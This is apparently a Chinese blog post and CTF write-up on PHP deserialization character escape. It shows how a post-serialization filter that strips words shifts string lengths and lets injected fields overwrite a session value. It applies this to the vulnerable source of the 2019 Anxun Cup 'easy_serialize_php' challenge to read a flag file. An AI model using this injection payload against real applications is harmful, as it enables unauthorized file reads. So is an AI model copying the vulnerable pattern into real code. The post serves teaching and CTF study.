Hed9eh0g

前进的路上总是孤独的

php反序列化字符逃逸

本文共计有3177个字

前言

一个新知识点,在此做记录。

反序列化的特点

特点1

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如:

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}';
var_dump(unserialize($str));

输出结果:

array(2) { 
    [0]=> string(8) "Hed9eh0g" 
    [1]=> string(5) "aaaaa" 
}

一般我们会认为,只要增加或去除$str的任何一个字符都会导致反序列化的失败。
但是事实并非如此,如果我们在$str结尾的花括号后再增加一些字符呢?例如:

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));

仍然可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。

特点2

例子:

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);

结果为:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

将这串字符串进行序列化会得到什么?
这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取";s:8:"function";s:59:"a,读取这24个字符后以";结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

写成数组形式也即:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

可以发现,SESSION数组的键值img对应的值发生了改变。
设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。
这里说个题外话,一开始写这个例子我是没有在function的值中结尾添加s:2:"dd";s:1:"a"这串字符串的,因为当时我认为这个过程中与键值dd无关,可以忽略。但是这样做会导致报错。研究了很久最后我认为,这是因为如果没有添加这一串那么SESSION将会从原来的三个键值变成两个键值,导致报错,同理可知,如果再添加一个键值将SESSION变成四个键值也会报错。

2019安洵杯easy_serialize_php

源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    // var_dump($filter);
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="un.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// var_dump($_SESSION).'<br/>';
$serialize_info = filter(serialize($_SESSION));
//echo $serialize_info.'<br/>';
if($function == 'highlight_file'){
    highlight_file('un.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    //var_dump($userinfo);
    echo file_get_contents(base64_decode($userinfo['img']));
}

?>

思路:
可以看到我们可以令function为phpinfo来查看phpinfo:
《php反序列化字符逃逸》

在php.ini中设置了auto_prepend_file隐式包含了d0g3_f1ag.php,直接访问可以发现没有任何内容,说明我们需要读取这个文件的内容。
接着往下看代码,可以看到最终执行了一个file_get_contents,从这个函数逆推回去$_SESSION["img"]的值。

可以发现如果我们有传入img_path,它会经过sha1加密,导致目标路径失效。如果我们没有传入img_path,那么后台将默认赋值为guest_img.png的base64编码。

也就是说我们控制不了$userinfo["img"],进而无法读到目标文件。此时需要把注意力转移到另外一个函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据。

所以我们用上刚刚的payload,就可以覆盖掉后台无法控制的$_SESSION["img"]的值,进而读取到d0g3_f1ag.php的内容。

参考文章

1、 https://xz.aliyun.com/t/6911
2、 http://www.lin2zhen.top/index.php/archives/73/

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注